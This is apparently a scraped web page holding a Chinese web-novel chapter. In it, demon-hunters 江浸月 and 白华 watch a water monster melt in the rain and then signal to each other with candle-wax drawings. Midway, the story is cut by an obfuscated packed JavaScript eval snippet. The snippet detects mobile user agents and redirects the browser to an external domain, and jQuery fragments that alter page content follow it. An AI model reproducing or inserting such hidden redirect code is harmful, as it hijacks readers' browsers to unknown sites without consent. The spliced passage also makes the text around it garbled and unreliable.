默认冷灰
24号文字
方正启体

9. 河边“女鬼”(三)

作者:虫脊本书字数:K更新时间:
    翌日一大早,江浸月便走向了河上游,独自“蹲守”。


    昨天夜里她和白华商量好,一人按他们的意思演戏,一人暗中跟上许五六。


    今天天气潮闷,是个半阴不阳的日子。


    浓浓的乌云在远方翻卷,黑得几欲如墨低落,近处却又一轮模糊的日光,罩着雾气般,颜色淡淡的,投下一片色泽偏冷的光。


    江浸月坐在树下百无聊赖,只等着孙家姐弟来叫人。


    她担忧地望着远方天空,身上不知是被潮气侵染,还是被汗水闷湿,黏糊糊的难受。


    不会是要下雨吧?


    心里祈求着千万别下,别让除妖计划泡汤。


    可惜天不遂人愿,她许下愿望不久,天上仅剩的那线阳光很快就被乌云吞噬了。


    电闪雷鸣,狂风大作。


    大雨如豆,噼啪下落。


    这样的天气,孙家姐弟应该不会来找她了。


    江浸月冒着大雨往回跑跑。


    雨线密密麻麻地遮挡住眼前,她被雨淋透,几乎不能视物。


    恍惚中,她惊然一驻。


    只见那混浊的视野里,两道影子如鬼般站在不远处。


    “不好了!仙长,那妖怪又来了。”


    孙朝凤不住地吐着顺额头流进嘴里的雨水,一旁的孙武板着一张脸,心里烦闷得不行,一看找到了江浸月,转头便往回走。


    雨声浩大,声音穿到江浸月耳朵里便成了模糊的,不成句的字。


    但她懂得其中意思。


    没想到,下这么大的雨,孙家姐弟还是来了。


    她稳住被吓乱的心跳,没说什么,跟了上去。


    ……


    白华跟着许五六进了林子。


    许五六拿着一把粗制弓箭,连一只兔子都射不到。


    明明意不在此,倒是装得像样。


    在又惊飞一只鸟后,他放下弓箭,活动了下肩膀,一双眼睛借机左顾右盼。


    白华在暗处盯着他的举动,说不上感觉哪里不对。


    这许五六,也太警惕了些,长得人高马大,倒是比耗子都胆小。


    见四处无人,许五六终于慢慢向河边靠近。


    这条连通两山,经过凤巢山庄的河,曾因水质澄澈,底下长着一种特有的黄褐色水草,而被赋予了与虎魄相关的神话传说。


    故而当地人称其为魄魄川。


    但严格意义上讲,魄魄川并不是完全意义上的环抱山脚,它有一段河水穿过了森林。


    许五六正是在这一地带徘徊。


    “阿罗?”


    他双手捧起放到嘴边,不断呼唤着这个名字。


    约莫过了一刻钟左右,河水中忽然有了异样。


    原本平静的水面忽然激流涌动,水浪之高,与树并肩。


    水花并没有溅到外面,而是在空中凝住,又忽然如旋风自卷。


    待它渐渐平息,昨日见过的女怪便现出身形。


    本就潮闷的空气湿意更浓。


    白华握紧手中配剑,手心身上都是汗,正待起身之时,女怪的举动令他为止一滞。


    “夫君——夫君来陪我玩嘛————”


    只见它伸长了手臂,向许五六挪动着身子。


    许五六躲到一旁,它动作却继续向前。


    “大哥?你怎么来了?”


    只见被树干遮挡住视野的方位,出现了一个令人意想不到的身影。


    吴有量!?他怎么会在这儿。


    “要下雨了,看这云,估计势头不会小,我已经让孙家姐弟去找那俩人,快点把它往家引吧。”


    吴有量看到那女怪,神色满是厌弃:


    “它不是只围着你转,怎么认出我了?”


    许五六挠挠头:


    “我也不知道啊,它之前不也变过。”


    这本是个小插曲,许五六不大在意。


    但听他这么一说,吴有量却恍然大悟一般,眸子转了转,神色多了些担忧:


    “难道和之前那场雨有关?得快点解决,不能再耽搁了!”


    他语气急促,许五六被吓了一跳,也恍然发觉此事严重,连忙站远一点,想快点把女怪引回家。


    只是这女怪也不知怎么了,今天行动得异常慢,他俩站在原地说话,它都没能跟上。


    就在此时,有雨滴重重地砸在地上,短短一瞬,雨滴就越来越密。


    许五六满心焦急,可女怪不仅不动,整个身躯竟随着雨滴——化了!


    察觉到这点的吴有量马上拽住他的胳膊:


    “不管了!先回去再说!”


    两人转身的瞬间大雨倾盆而下。


    白华本想趁机解决那女怪,却没来得及,瞬时变大的雨短暂模糊了他的视线。


    等看清四周,许五六和吴有量已经消失了身形。


    大雨中那女怪像是一块烂油,融化得不成型,胶质的液体淌了一大片,有生命般地还在向远处的地面蔓延。


    四周妖气浓郁,使得空气如油,叫人难以呼吸。


    大雨是女怪的主场。


    白华最终还是决定先打道回府。


    雨势迅猛,迟迟没有减弱。


    许五六进了里屋歇息。


    屋内炉子点着,木炭噼啪的声响在外面狂风骤雨的衬托下宛如蚊蝇。


    江浸月和白华的外袍都支在壁炉边。


    她轻薄的衣袍被打透,白华自觉地背对而坐。


    四腿木凳挨得很近,两人几乎背靠背,只着里衣,间隔的细小缝隙里传递着肌肤的温度。


    这样实在是太不便沟通。


    白华刚回来时,她一眼就看出他神色的异样,可是外人在场不方便沟通。


    如今好不容易有了独处的时机,在她看来,实在不必为了礼节而因小失大。


    但她又不得直说……只恐隔墙有耳。


    “你不是去小解了,怎么回来这么迟?”


    你不是去跟踪许五六了,怎么回来得那么迟?


    白华一愣,只觉得她话中有话,斟酌着回答:


    “没想到下这么大雨,迷路了。”


    事出意料之外。


    “啊?这么短的路你还能迷路啊。”


    什么意外?


    白华忽地轻声笑了,笑声被屋外的电闪雷鸣隐去:


    “你又不是不知道这雨多大。”


    他站起身,从橱柜上拿下来一根蜡烛,凑近快要熄灭的碳灰堆点燃了。


    屋内昏暗无比,只靠蜡烛亮起一片昏暗的光。


    江浸月伸手试探,发现衣服还没干。


    她站起身,走到白华身边,接过了蜡烛。


    白华本能地侧过头,被她一手轻轻抚在脸庞:


    “你的脸好凉。”


    她轻声细语地说着,目光却坚定地落在他眼里。


    我不介意的。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15660428|172921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    烛光在脸庞上跃动,江浸月只盼他能懂她的意思。


    白华怎会看不出。


    他垂眸深深地吸了一口气,避开那曲线,也抬起眼睛看向她。


    冰凉的指节覆盖在她手背,十分轻柔地拿下。


    “你的手也很凉。”


    目光垂落在那双修长也丰腴的指上,他忽然想起临行前的整蛊。


    报复似的,他攥在手里揉捏了一下。


    江浸月不明所以,生怕他不理解,直接牵起那手,回到位子上坐下。


    以防白华又背对着她,隔了一步远的时候,她就一脚踢散了那凳子。


    一手扣住他肩膀按压,强迫他面对自己坐着。


    在门缝里看完这一切的许五六被麻出了一身鸡皮疙瘩。


    心想果然是新婚夫妇,腻歪死他了。


    吴大哥真是想多了,这俩人你侬我侬,男的去小个解,这女的都这么惦记,压根就是离不开的一对。


    怎么可能分出一个监视他们。


    “爹爹。”


    许五六正出神,被突然出声的孩子吓出了一身冷汗。


    “嗯?小慧怎么醒了。”


    “哥哥好像很难受的样子。”


    他抬头,看到躺在床上的男孩一脸煞白,跟个小纸人一样,又被吓了一跳。


    “没事儿,等雨停哥哥就好了,小慧乖,去陪着哥哥。”


    “好。”


    女孩听话地回到床上,许五六也躺到横在屋中央的小木床上歇着了。


    ……………


    “小时候,一下雨,我就爱躲在房间里玩蜡烛。”


    在江浸月震惊的眼神下,白华用融化的蜡油在凳子上滴出了“一幅画”。


    这……分明是那女怪的模样。


    江浸月伸出一根手指按在了未凝固的蜡油上,给那女怪按上了一张“脸”。


    “嘶。”


    不疼,但还是有些烫,热意消散后,蜡油裹住了指尖,有一种被吸附的奇怪触觉。


    江浸月不讨厌这种感觉。


    白华笑着,忽然按住了她的手,神色也严肃起来。


    “蜡画脆弱得很,离火太近,会化掉的。”


    他分明实在暗指那女怪。


    女怪、化掉?


    白华的眼神移向窗外。


    狂风骤雨催打屋檐,外面的世界在雨烟中若隐若现。


    江浸月立马懂得了他的意思。


    他是在说,女怪在雨中融化了?


    这并不难猜,也不难理解,毕竟她亲眼见到女怪被铲子捅进胸口时,立即化成了一滩。


    白华不语,在凳子上滴了好几个蜡点,滴蜡的手一次比一次高,叫人一时拿不准他的意思。


    每一个蜡滴融化后又凝固,意味着女怪也不是第一次遇水即溶了。


    江浸月想到来时山林泥泞,说明不久前河上游下过雨。


    但除此之外,还有没有什么别的含义呢?比如每一滴蜡的形状不同,会不会是在说女怪每次融化后会有变化。


    至少,他抬高的手臂一定是有意而为。


    外面下着雨,她却想到了雪花。


    “你说,这世界上会有两片一样的雪花吗?”


    白华知道她明白了自己的意思,笑着回答:


    “绝对不会有。”


    屋外大雨不绝,时间流逝,二人望向窗外,隐隐觉得事情不像他们想的简单。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)